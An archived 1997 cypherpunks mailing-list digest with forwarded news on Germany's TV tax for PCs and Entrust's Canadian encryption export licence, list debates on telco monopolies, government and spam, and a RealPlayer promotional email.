X-Lotus-FromDomain: BIONOMICS@INTERLIANT @ OUTBOUND
From: "VitaminB"<VitaminB@bionomics.org>
To: "DAILY DOSE"<DAILY_DOSE@maxager.com>
Date: Fri, 1 Aug 1997 17:05:28 -0700
Subject: <<Vitamin B>>(August 1, 1997) Going their own way
Mime-Version: 1.0






Vitamin B:
Your Daily Dose of Bionomics

August 1, 1997

Going their own way

Even though Germany had signed a pledge
to forget about taxing the Internet earlier this
month, it seems that its parasitic bureaucracy
has other ideas.  A recent multimedia law in
Germany has defined Internet PC's as devices
that can receive audio and video, so the
Gebuehreneinzugszentrale (GEZ), the collector
of the TV tax in Germany, has decided that this
tax applies to PC's as well.  What does this mean
for business?  According to the GEZ, companies
with 100 Internet-enabled PC's will be charged
1000 Marks (about $555), whether the PC's actually
run audio or video or not.

For those unfamiliar with the GEZ, this is the
organization which enforces the TV tax by going
into peoples homes and checking to see how many
sets they own and in some areas driving around
in special trucks to determine which houses receive
signals.

Bureaucracies, in an almost living way, seem to write
their own code and respond viciously to threats to
their territories.  Unless the German government
finds a way to limit the power of its bureaucracy,
that territory will get bigger all the time.

Source:  _Ziff-Davis Network News_, July 30, 1997

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Sat, 2 Aug 1997 13:01:35 +0800
To: cypherpunks@cyberpass.net
Subject: Canada's Entrust does end-run around ITAR
Message-ID: <199708020443.VAA10553@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain




------- Forwarded Message

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From: kalliste@aci.net (J. Orlin Grabbe)
To: snetnews@world.std.com
Subject: SNET: [Fwd: Another torpedo slams into Clinton crypto policy]


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From: jqp@globaldialog.com
Newsgroups: alt.current-events.clinton.whitewater,alt.politics.clinton
Subject: Another torpedo slams into Clinton crypto policy
Date: Fri, 01 Aug 1997 00:21:25 -0500
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NY Times
August 1, 1997

Canadian Product Puts New Spin on Encryption Debate

By PETER WAYNER 

Canadian company's recent release of a new 
encryption product and subsequent announcement 
that it had received a license from Canada to 
export the product has surprised many companies 
and U.S. officials. 

The release was startling because the United States 
and Canada historically regulated the encryption-
exporting issue in synchrony. 

The company, Entrust Technologies Ltd., released 
a free version of its Entrust/Solo software on 
Tuesday, and announced that they had received a 
license from the Canadian government to export 
it to almost all of the world. 

- -=- [TABLE] -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

THE MOVE BY ENTRUST SEEMS TO EXPLOIT A DIFFERENCE 
IN THE REGULATIONS BETWEEN THE UNITED STATES AND 
CANADA.

- -=- [TABLE] -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

This decision by Canada could signal a major rift 
developing between two allies over an issue that 
is becoming increasingly important to the computer 
software industry. 

In fact, the move seemed to startle the [*]Bureau 
of Export Affairs at the U.S. Department of Commerce. 
James Lewis, director of strategic trade at the 
bureau, would only issue a one-sentence statement 
through a spokeswoman: "This is under review as 
a potential enforcement matter." He offered no 
insight into which American laws were being violated. 
Shauna White, a spokeswoman for the company, said 
"We believe we are in full compliance with all 
the Canadian laws that apply." 

In the past, the United States and Canada enforced 
their encryption regulations with such cooperation 
that most controlled products are shipped in boxes 
announcing, "For U.S. and Canada only." The U.S. 
government was certain that Canadian regulations 
would block anyone from shipping the product out 
of Canada. 

Those regulations are still in place and there 
has been no change in the effect on products built 
in the United States. Programs written by Canadians,
however, are another matter. Entrust was able to 
qualify for a license because their software contained 
what John Ryan, the company president and chief 
executive, said was "100 percent Canadian content." 
That is, it was developed in Canada by Canadian 
citizens. 

Entrust Technologies Inc. was spun off on Jan. 
2, 1997, from Nortel (Northern Telecom) after Nortel 
developed the Entrust product. Entrust Technologies 
Inc. is based in Dallas, but most of the development 
work is done in Ottawa, Ontario, where the Canadian 
subsidiary, Entrust Technologies Ltd. has its offices. 
Ryan, for instance, is a Canadian citizen. 

The move by Entrust seems to exploit a difference 
in the regulations between the United States and 
Canada. Both countries are members of the Wassenar 
Arrangement on Arms Export Controls, a set of loosely 
controlled rules that took the place of Cold War-
era regulations designed to reign in conventional 
arms and dual-use technologies. 

The arrangement regulates the export of encryption 
software but provided an exemption for general-
use software that was freely available through 
either the public domain or widespread public channels 
like stores. Ryan explained: "Many countries have 
chosen to 'to turn that part off.' Canada has not 
chosen to turn that part off." 

The existence of this regulatory difference may 
have come as a surprise to many people in the United 
States because the Canadian software industry has 
not yet produced a top-rank international competitor. 
The academic computer science departments at colleges 
like the University of Toronto are first rate, 
but there are no companies with the same public 
presence as Microsoft or IBM. 

But Entrust Technology's emergence shows how quickly 
the public perception can become obsolete in the 
swiftly moving world of technology. The company 
is clearly hoping that its free version of the 
Entrust/Solo software will build acceptance for 
the commercial versions, which are also freely 
exportable. Many other companies follow the same 
strategy of releasing free versions to the public 
in order to publicize the commercial versions, 
which usually come with more features. 

Entrust allows people to download free copies of 
Entrust/Solo for personal use from their Web site,
but they block requests from seven restricted countries:
Libya, Iran, Iraq, Cuba, Angola, Syria and North 
Korea. France and Singapore are also blocked because 
they have restrictions on the import of technology. 

Entrust is already in heavy competition against 
a U.S. company, [*]Pretty Good Privacy Inc., which 
is circulating a free version of its encryption 
package, PGP 5.0. This version is available for 
home and non-commercial use without charge. The 
software, however, was developed in the United 
States and can't be exported without a license. 
The company has worked closely with the U.S. Commerce 
Department to smooth licenses for major U.S. companies 
seeking to use the software with their subsidiaries,
but an individual license must still be granted 
in each case. 

Kelly Huebner Blough, director of government relations 
for Pretty Good Privacy, said: "Well, of course 
we would like the U.S. to license exports more 
liberally. Most of the other countries in the world 
license encryption software more freely. They may 
have strong policies on the books, but when it 
comes to implementation, the U.S. is the most restrictive." 

- -=- [TABLE] -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

ALL OF THE MAJOR SOFTWARE COMPANIES LIKE MICROSOFT,
IBM AND SUN CONTINUE TO PRESS THE U.S. GOVERNMENT 
FOR RELIEF OF THE EXPORT CONTROL LAWS, ARGUING 
THAT BETTER AND BETTER SOFTWARE IS EMERGING THROUGHOUT 
THE WORLD.

- -=- [TABLE] -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Other companies will also be feeling the pressure. 
Ray Ozzie, the president of Iris, the developer 
of Lotus Notes, which is now owned by IBM, said:
"This is further proof that easy-to-use, high-grade 
encryption products are available worldwide, and 
that U.S. companies continue to be at a disadvantage 
in the world marketplace. U.S. policy needs to 
change in order to take these realities into account." 

One of the most vexing parts of the regulatory 
equation involves unraveling whether the U.S. government 
can exert any pressure on Entrust Technologies 
Ltd. through its U.S.-based corporate parent, Entrust 
Technologies Inc. The current version of the regulations 
restrict U.S. companies from providing "technical 
assistance" to their foreign companies--a rule 
that would seemingly not apply to a product developed 
completely by Canadians. Earlier drafts were more 
vague and seemed to target any relationship or 
aid, but the final version focused on technical 
assistance. 

Companies with close relationships with the U.S. 
government are still circumspect. Steve Walker,
president of the Glenwood, Md.-based [*]Trusted 
Information Systems, works closely with the Commerce 
Department to seek approval for all of its work 
done in Europe. They ask for a license for all 
of the software being developed by their subsidiary 
in Britain. "We've tried to be very careful about 
this, perhaps more careful about it than we need 
to be," Walker said and then pointed out, "We're 
getting approval." 

[*]Sun Microsystems is pursuing a strategy with 
a different corporate structure. The company bought 
a minority stake in a Russian network software 
company in 1993 and recently asked them to develop 
encryption software for the world market. The deal 
is undergoing scrutiny from the U.S. Department 
of Commerce, but no announcement has been made 
about the resolution. Sun announced that they hope 
to ship the software on August 15. 

Still, the range of a government is hard to measure. 
Greg Katsas, a lawyer in the Washington office 
of Jones, Day, Reavis, and Pogue, said: "Generally,
the rules of jurisdiction of the place of incorporation 
apply, but there are cases where U.S. law reaches 
outside the boundaries. For instance, anti-trust 
law can cover acts done outside the U.S. intended 
to have an impact inside the U.S." 

All of the major software companies like Microsoft,
IBM and Sun continue to press the U.S. government 
for relief of the export control laws, arguing 
that better and better software is emerging throughout 
the world. In the House of Representatives, legislation 
sponsored by Representative Bob Goodlatte, a Republican 
from Virginia, to liberalize export laws has found 
wide support, while similar legislation in the 
Senate has died. 

One of the major initiatives offered by the Clinton 
administration would ease export licenses for software 
that made it possible for law enforcement officials 
to obtain the software's keys with a court order. 
They propose lifting the restrictions for exporting 
the software using 56-bit keys with DES. 

A number of businesses have joined together what 
they call the Key Recovery Alliance to help negotiate 
with the government about the final implementation 
of this plan. Most major software vendors, including 
Entrust and Sun, are part of the alliance. While 
the companies are committed to producing software 
that helps recover encryption keys in emergencies,
there is a great deal of debate about how this 
will be carried out. 

Entrust's product for office groups does offer 
key recovery, but it is a far cry from what the 
U.S. government would like to see implemented. 
Copies of the keys are only stored on the hard 
disk of the employee responsible for overseeing 
the network. There is no capability right now for 
interfacing with trusted third parties who would 
serve as recovery agents for the police. 

Still, Entrust also seems to be working to meet 
U.S. regulations. Their enterprise-wide system 
for larger companies has been granted a license 
for U.S. export even though it uses 56-bit keys. 
This license was recently granted as part of the 
United States' push for key recovery. It signifies 
that the U.S. Commerce Department felt that Entrust 
was moving toward compliance with the policy of 
smoothing access for the police. In two years, 
Entrust may integrate their key recovery system 
with licensed recovery agents or it could face 
losing its U.S. license. 

In the long run, this strategy continues to receive 
heavy resistance. While many businesses welcome 
key-recovery solutions for internal use, they seem 
to resist making it too easy for the police to 
access their documents. Corporations, after all,
can be found guilty as well. 

The same rules apply to countries, which are finding 
themselves in an increasingly brutal worldwide 
competition for dominance. Countries with the most 
liberal export laws may be rewarded with a strong 
fraction of the market share and this is the crucial 
time when the decisions about product acceptance 
are being decided. Many MIS managers may choose 
Entrust's products simply because they don't need 
to fill out forms with the U.S. government in order 
to supply it to all of their foreign subsidiaries. 

Andrew Csinger is the President of Xcert, a Vancouver-
based Canadian software company that manufactures 
encryption technology used for certification authorities. 
He expects that any difference between U.S. and 
Canadian encryption laws will be short-lived. "I 
think that market pressures are going to force 
the U.S. administration to respond more quickly,
" he said. "In reality, cryptography is widely 
available throughout the world." 


Copyright 1997 The New York Times Company


- -> Send "subscribe   snetnews " to majordomo@world.std.com
- ->  Posted by: kalliste@aci.net (J. Orlin Grabbe)


------- End of Forwarded Message





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sat, 2 Aug 1997 10:04:10 +0800
To: John Young <cypherpunks@toad.com
Subject: Re: JYA Axed
In-Reply-To: <1.5.4.32.19970802003043.006cb0a8@pop.pipeline.com>
Message-ID: <v03110726b00841e5aabd@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain



At 8:30 pm -0400 on 8/1/97, John Young wrote:


> The ISP for jya.com, PrimeHost, an AOL subisidiary, has axed
> the site.

Ain't this 'self-censorship' stuff a bitch...

Cheers,
Bob Hettinga


-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Apache <apache@bear.apana.org.au>
Date: Fri, 1 Aug 1997 20:58:41 +0800
To: cypherpunks@cyberpass.net
Subject: Re: "Telco Terrorism" -- Wired on Baby Bells v. the Net
In-Reply-To: <199708010535.HAA23978@basement.replay.com>
Message-ID: <199708011218.WAA00840@bear.apana.org.au>
MIME-Version: 1.0
Content-Type: text/plain



   Anonymous said:


>   If the telcos don't want to use efficient, effective technology
>to render service to their customers, then I certainly wouldn't
>want to *force* them to do so. However, neither do I want to be
>*forced* to pay exhorbitant rates because the telecos want to
>maintain a sloppily run monopoly on the services I have to choose
>from.

When satellite dish receive/broadcast services become common watch the 
scramble by telcos to update and offer cheap high speed links. Of course 
by then a lot of folks will just say fuck them. Here for your amusement 
are some sample prices offered by our very own blood sucking Telstra 
leech in our very own monopoly/oligopoly market (hard to say exactly what 
it is but there's no effective competition due to decades of government 
monopoly status:

All figures in Australian play money
====================================
Qoute from Toll$tra's web page: "Depending on your access speed, there is 
a low cost, flat monthly pricing for permanent modems or a two-tier price 
structure based on ussage for dedicated access ports pf 64 kbps and 
above."

Then if you dig and I do mean *dig* around on Toll$tra's web page you 
will eventually come across the actual pricing data if your lucky 
(depending on how you look at it).

Well now I just went to their web site and behold; in their wisdom and in 
their position as a internet provider they have removed(!) the pricing 
information on the page. You now have to ring them (I just tried..no 
answer) or email them (tried that 4 hours ago no reply so far) so I'll 
just post from memory. These figures will be wrong but they give some 
idea:

Permanent modem 33.6 connection: about $400 per month (plus call costs)
ISDN 64k: about $1000 per month plus 19 cents/Mb for data received over 
about 25 percent usage
ISDN 128k: about $2000 per month plus usage as above
DDS/FRAME relay: Astronomical $$$$$$$$ per month plus usage per above.
Establishment fee for the above: $1000 - $2000
Upgrade fee from to a new level: Same as establishment fee

I note with great interest an independent provider in New Zealand which
has a better competitive market situation in this area than Australia
(and a lot of other things I might add) offers a user account with up to
500kbs satellite feed for $79 (NZ) /mnth flat plus installation of $79 
plus you must by the satellite dish ($699). I would assume you can't 
resell bandwidth on this set up so the two are not directly comparable.

Oh yes and back to the topic, Telstra here trot out the same garbage as 
in the original post trying to justify timed local calls every year or 
so. Thus far they have been beaten...but only just. Technical solutions 
and a free market will be the only long term solutions, as we would 
expect.

-- 
   .////.   .//    Charles Senescall             apache@bear.apana.org.au
 o:::::::::///                                   apache@quux.apana.org.au
>::::::::::\\\     Finger me for PGP PUBKEY            Brisbane AUSTRALIA
   '\\\\\'   \\    Apache






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Raymond Mereniuk" <Raymond.Mereniuk@mat.calvex.com>
Date: Sat, 2 Aug 1997 14:33:25 +0800
To: cypherpunks@Algebra.COM
Subject: Re: "Telco Terrorism" -- Wired on Baby Bells v. the Net
In-Reply-To: <v03007815b006ac98fb64@[168.161.105.191]>
Message-ID: <199708020537.WAA05914@mat.calvex.com>
MIME-Version: 1.0
Content-Type: text/plain




>If the Telcos move to raise rates, the internet will cease using the 
>Telco system.  And then some telephone interface company will create 
...deleted text...

The Telcos have always lived in a monopolistic environment, they 
can't see the world in any other manner.  One can say many bad things 
about these people.  

Fortunately, there may be reason for them to change their ways in 
regards to Internet access.  Canada is not the most competitive place 
in the world and most Canadians just accept this and pay more money 
then they should for goods and services with no questions to the 
system which forces such things as `Canadian Content' down their 
throats.  Bottom line is that business is not that competitive here.

I have been in the data communications business for a long time and 
dealt with bad service and attitude from Canadian Telcos.  Recently 
the local cable company (Rogers Cablesystems) started offering 
Internet access through a cable modem for CAN$55/month (US$39.95).  
This gives you the cable modem with some sort of asymmetrical data 
transfer rates.  They don't tell you the actual up-stream and 
down-stream data transfer rates but apparently you can get 6 - 10 
times the download rates as possible through a 33.6Kbps modem.

This might at first glance appear a bit expensive but it is a 
permanent connection.  They give you one IP address and up to five 
Email addresses under the standard monthly fee (there is a bit-count 
with charges if you go over the maximum but the limit is in GBs).  
The cable modem rental is included.  They charge CAN$150 (US$109) for 
installation and setup.  Included in this install fee is an Ethernet 
card.  Compare this to ISDN or installing an additional telephone 
line PLUS paying for ISP access.

If you are not careful everyone on your local cable segment can see 
your sytem but what the hell don't you want to get to know your 
neighbors better???  If you are technologically more than clue-less 
you would install a Linux box as a firewall and give it the assigned 
IP address.  Behind your firewall you could install...  whatever?!  
If you have a network, well that can be connected also!??  They will 
do the DNS work (probably at extra charge as this is the cable 
company) and set you up as a sub-domain on their domain and you could 
run a POP3 server to send/receive mail.  

This sounds pretty good, I could go for this, and they even offer it 
in my neighborhood.  But, I must move soon so I will do it in the 
fall after the move.  Now the local Telco (BC Tel, owned by GTE) gets 
a new chairman and the newspaper lets him blow his own horn and puts 
the article on the front page of the local section of one of the 
regional newspapers (Vancouver Sun).  In this ego flexing article the 
CHAIRman states that their market and engineering 
trials are almost over and that they will be offering ADSL for 
Internet access in the fall and that they have a big surprise in 
store for the local cable company as they can beat their Internet 
access offering.  Since that article the local Telco has filed an 
ADSL tariff offering with the federal regulatory body with a 
requested response date of August 27th as they want to begin offering 
this service in the market this fall.  

Are we about to see an elephant tapdance???  If this elephant is 
about to learn to tapdance maybe there is hope for the other Telcos 
of North America.  If by chance I got into the wrong medication 
please advise.  
Virtually


Raymond@wcs.net
Raymond Mereniuk





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sat, 2 Aug 1997 12:27:07 +0800
To: Tim May <cypherpunks@toad.com
Subject: Re: Bionomics banned as a cult in Germany?
In-Reply-To: <v03110721b00840705342@[139.167.130.246]>
Message-ID: <v0311072eb0085d813910@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain



At 11:25 pm -0400 on 8/1/97, Tim May wrote:


> Hey, I thought "bionomics" had been banned as an illegal and dangerous cult
> in Germany?
>
> (Sure seems like a whacked-out newage cult to me....)

Yeah. Even Newt, Peter Huber, and Stewart Brand are cult members.

:-).

Cheers,
Bob

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 2 Aug 1997 14:52:37 +0800
To: Joichi Ito <cypherpunks@cyberpass.net
Subject: Joichi Ito as a Junior Policeman
In-Reply-To: <199708020550.OAA04024@eccosys.com>
Message-ID: <v03102804b00886fb036a@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 10:31 PM -0700 8/1/97, Joichi Ito wrote:

>I can't tell you about any of the other stuff that is currently being
>presented
>in the study group, but once the report becomes public, I will try to get
>an English version up on the Net. It should end up being the Japanese
>National Poice Agency's official position on Key Escrow, Certification
>Authorities, and several other issues.

And why are you helping to write a report that will be the "official
position" of the Japanese cops?


>I will be participating in another study group soon to discuss many of
>these issues with the Self Defense Force from the point of view of
>Japanese national security as well as another NPA study group on
>what to do about "crackers"... Anyway, if anyone who can give me some
>insight into these areas will be at HIP, I'd love to chat. ;-)

And why are working for the "Self Defense Force" (the Japanese DOD, for
those not familiar with the terminology).

The JDF is notoriously militaristic. You should reconsider this.

And Cypherpunks should be very careful about "advising" an obviously
co-opted member of the Japanese military and police establishment.

Use crypto to undermine such entities, not support them. Crypto will
unleash anarchy on the world.

>Thanks again.
>
>- Joi
>
>P.S. I am not a "policeman" but an outside boardmember of these
>study groups. The ministries are under quite a bit of scrutiny these
>days and the study groups tend to be quite frank and balanced.
>The reports don't always dictate the law, but since most politicians
>do not have real staffers, therefore most of the expert study is done in the
>ministries.

You sound like a "junior policeman" to me.

Another person to add to the killfiles.

--TCM

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Ross Wright" <rwright@adnetsol.com>
Date: Sat, 2 Aug 1997 15:37:34 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Joichi Ito as a Junior Policeman
Message-ID: <199708020732.AAA12484@adnetsol.adnetsol.com>
MIME-Version: 1.0
Content-Type: text/plain



On or About  1 Aug 97 at 23:46, Tim May wrote:

> You sound like a "junior policeman" to me.

I smelled bacon.  And I thought I saw Doughnut crumbs.

> Another person to add to the killfiles.

Hey, not me.  You gotta know what the bad guys are up to.

=-=-=-=-=-=-
Ross Wright
King Media: Bulk Sales of Software Media and Duplication Services
http://www.slip.net/~cdr/kingmedia
Voice: (408) 259-2795





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: David Yaffe <straightedge.dave@sk.sympatico.ca>
Date: Sat, 2 Aug 1997 15:57:21 +0800
To: cypherpunks@Algebra.COM
Subject: Jim Bell & e-commerce
In-Reply-To: <3.0.2.32.19970730223642.007b2100@ece.eng.wayne.edu>
Message-ID: <3.0.2.32.19970802014824.007c9a10@mailhost.sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain



Hi,
I'm fairly new to the list and to crypto/political issues.. 

question one: What did Jim Bell do that go him into trouble?
question two: If all non-key-escrow crypto systems become banned, won't
that make e-commerce illegal? 
Thanks
David
"You can take my PGP when you pry it from my cold, dead fingers"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sat, 2 Aug 1997 17:12:40 +0800
To: cypherpunks@cyberpass.net
Subject: Re: free market services vs monopoly government
In-Reply-To: <19970731182720.53925@bywater.songbird.com>
Message-ID: <19970802015614.65348@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, Aug 01, 1997 at 11:32:04AM +0100, Adam Back wrote:

After reading your long response I have one general comment:

"No Fair!"

Remember your rhetorical question that started this: "indeed why have
any governments at all?" That reflects a *vastly* different position
than favoring less government.  Analogy: it would be better for my
health if I ate less.  It would not be good at all for my health to
eat zero.  Your rhetorical question posed the "zero" position for
government, and that was the position I was arguing against.  

But your reasoning is this, apparently: "Kent says he doesn't believe
it is possible for a human society to not have a government, therefore
Kent favors big intrusive government." This kind of "reasoning" is
rife on cypherpunks; may I suggest it is beneath you?

With that little thing out of the way:

[...]
> > Consequently, a statement like "Government is always bad" is ipso
> > facto a shallow generalization, and my natural reaction is to point
> > out that sometimes government is good.
> 
> I'll admit there are situations where a government may make a good
> decision, or handle a situation not too badly, or not that
> restrictively.  Such situations are quite rare though, aren't they :-)

Compared to what? Compared to an imagined libertarian utopia, or
compared to really bad situations (say, North Korea), or Cambodia
under Pol Pot? In fact, you and I live lives of unbridled luxury,
compared to a majority of the human race.  Our government has 
something to do with that.  Put another way: your debit governments 
for the bad things they do, but you don't credit them for the bad 
things they prevent.  A fair analysis would include both.

[...]

> > I don't think of government as a "necessary evil", either.  Rather,
> > I think that a government of some kind is an inevitable outgrowth of
> > human nature.  I think this for three compelling reasons: first, it is
> > obversationally true -- there are essentially no human beings who live
> > without a government of some kind; second, because it is in agreement
> > with all my observations and knowledge of human nature; and third,
> > because it makes sense to me as the rational consequence of the
> > existence of force as an interpersonal interaction. 
> 
> As a general rule: less government intervention is more efficient than
> more.

Re: my eating habits, above.

> This is because the free market is better at meeting people's
> demands in a tailored fashion than any socialist/communist planned
> economy handed down by a few big-wigs.

That's hardly a recommendation, now is it?

> Are you against privatisation?  Are you against deregulation?

In general, no.

[...]
> > In fact, of course, the US generates a great deal of wealth for its
> > citizens, who are among the best off and most productive of any nation
> > on earth.  Of course it could be better, but it could be a whole lot
> > worse.  To say that the form of government had nothing to do with that
> > *success* is intellectually dishonest -- one can just as easily argue
> > that things are good in the US largely *because* we have a relatively
> > good government. 
> 
> Jeez, just imagine how much better off you could be without all the
> government crapola.

How so? I could have more money? That's a rathole without a bottom --
I have an adequate supply.  More personal freedom? The main constraint
on me is lack of time to enjoy the freedoms I already have.  If I 
make a realistic assessment of my life, less government isn't going 
to make any significant difference, and I wager that it wouldn't make 
any significant difference to you, either.  We are both members of 
the technological elite, doing pretty damn much what we please, and 
having a good time doing it.

So I am not a good example of someone who might be better off.  Well,
how about someone not in our fortunate position? That's not clear
either, but for entirely different reasons.  In the US the economy has
done very well the last few years, but there is this troubling
undercurrent about the poor getting poorer and the rich getting richer
-- the economy isn't like the tide -- it doesn't seem to float all 
boats.  And I have no confidence that the unfettered free-market 
utopia you dream about is going to be equitable in its distribution 
of wealth.

[...]

> > > eg. I can go buy into Uncle Enzo's pizza delivery and protection
> > > racket because the protection is 5000% better value for money than the
> > > Feds deal.
> > 
> > How do you get out from Uncle Enzo's protection racket when things go 
> > sour, if Uncle Enzo doesn't allow his customers to leave, or even to 
> > say anything bad about him?
> 
> Anyway you just buy into Mr Lee's New Hong Kong protection racket, and
> Uncle Enzo will respect Mr Lee's fire-power enough to consider it not
> worth the effort of picking on small fry like you.

Mr Lee isn't interested in dealing with you -- he will deal with 
Uncle Enzo.  You are an insignificant pawn to both of them, and they 
will divide up their turf according to their own concerns.  Force 
monopolies don't overlap, generally.  But anyway, this is another one 
of those intellectual tinkertoys of freedom...

[...]

> Cultural and societal change have happened in the past.  I guess
> you've read of the feudal systems.  Well society's structure has
> changed.  If you lived in feudal systems, you'd be one of the serfs
> happy with his lot tithing to the lord of the manor, and to the fat
> church, and being left with barely enough to eat.

Yep. Probably.  Everybody was.  That didn't change through serf 
revolts, to my knowledge -- it changed through growth of a merchant 
class. 

[...]
> See anything wrong with making a currently relatively free government
> into an even less restrictive government?

Nope.  It's something I work on, believe it or not.

> Tell me, are the following insane ideas:
> 
> 	- privatisation
> 	- deregulation
> 	- devolution of government power to smaller power bases
> 	- lower taxes
> 	- fewer politicians
> 	- reduced social security system 
> 	- cancel the war on drugs

No.  Obviously not, as I favor all of them :-)  You said, however, 
"any government at all."

[...]

> [I took the perl rsa usage to a new post]

OK.  I now have "RSA, the song" as a midi file, which I will post in 
the next day or two...

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: RealAudio & RealVideo News <announce@dmail1.prognet.com>
Date: Sat, 2 Aug 1997 19:46:39 +0800
To: cypherpunks@cyberpass.net
Subject: Hear 30 Full-length Albums from Warner Bros. Records in RealAudio
Message-ID: <199708021034.DAA00156@dmail2.prognet.com>
MIME-Version: 1.0
Content-Type: text/plain



Dear RealPlayer User,

Thank you for using RealPlayer software
for RealAudio and RealVideo.

I'm writing to tell you about a special
offer available exclusively for users
of the enhanced RealPlayer Plus.

If you order and download RealPlayer Plus,
you'll get access to 30 full-length albums
from Warner Bros. Records, presented in RealAudio.

RealPlayer Plus delivers benefits you
can't get anywhere else, including: 

- The best quality audio and video at 28.8

- One-button scanning for the best
  live audio & video on the web

- Instant access to your favorite RealAudio
  and RealVideo content with preset buttons

- Packaged CD-ROM and manual plus
  free telephone technical support 

Please visit our Web site for more information
or to download RealPlayer Plus:

   http://www.real.com/wbr/order.html

I hope you enjoy RealPlayer Plus,

Maria Cantwell
Vice President of Marketing,
Progressive Networks


---------------------------------------------
 For information about this e-mail including
 how to subscribe to or unsubscribe from
 future announcements, please visit:
 http://www.real.com/mailinglist/index.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Sat, 2 Aug 1997 21:14:47 +0800
To: David Yaffe <straightedge.dave@sk.sympatico.ca>
Subject: Re: Jim Bell & e-commerce
In-Reply-To: <3.0.2.32.19970802014824.007c9a10@mailhost.sk.sympatico.ca>
Message-ID: <Pine.GSO.3.95.970802090608.27879A-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain



David,

Check out netlynews.com and search for Assassination. That'll get you
my story on Bell from early April.

-Declan

On Sat, 2 Aug 1997, David Yaffe wrote:

> Hi,
> I'm fairly new to the list and to crypto/political issues.. 
> 
> question one: What did Jim Bell do that go him into trouble?
> question two: If all non-key-escrow crypto systems become banned, won't
> that make e-commerce illegal? 
> Thanks
> David
> "You can take my PGP when you pry it from my cold, dead fingers"
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sun, 3 Aug 1997 00:49:04 +0800
To: cypherpunks@toad.com
Subject: Re: non-censorous spam control (was Re: Spam is Information?)
In-Reply-To: <199707311120.MAA00669@server.test.net>
Message-ID: <19970802092944.06562@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Sat, Aug 02, 1997 at 09:31:20AM -0500, Dr.Dimitri Vulis KOTM wrote:
> Just commenting on some stuff I missed earlier:
> 
> Adam Back <aba@dcs.ex.ac.uk> writes:
> 
> ...
> > Another longer term way to improve the situation is to charge some
> > small token amount per article, just to encourage people to use it
> > with some intelligence (use cross posts rather than separately
> > reposting to each group).
> 
> Problem is, a "small token" for some may be a lot of money for someone
> else. A poor person may be unwilling to part with 5c; a rich person or
> a corporation may still be willing to spend a million dollars on an
> advertising campaing (selling something or warning about the second
> cumming of Jesus).  
>
> The way the things are now, everyone is equally
> free to post and if you're into reputations, they can build one with
> the contents of their writings, not the amount of money they can
> afford to spend on posting.

In more general terms: A "free market" fundamentally grants more
control to those with more money.  Postage of whatever variety turns
the medium over to those with more money.  That would, in my opinion, 
fundamentally alter the character of email in a strongly negative 
direction. 

This, by the way, is one of the fundamental problems with the
proposition that a free market is the appropriate response to every
social issue -- in many arenas a broad primary goal is allowing equal
opportunity to each individual.  

In a "free market" a fundamental feedback loop is that inequality of
distribution of wealth increases -- this obviously follows from the
fact that it is easier to make money if you have money.  With wealth
goes control.  Thus, the ultimate end of completely unfettered free
markets is fascism, where the wealthy run the government.  This is
another manifestation of the fundamental conflict between democratic
ideals and unfettered free markets. 

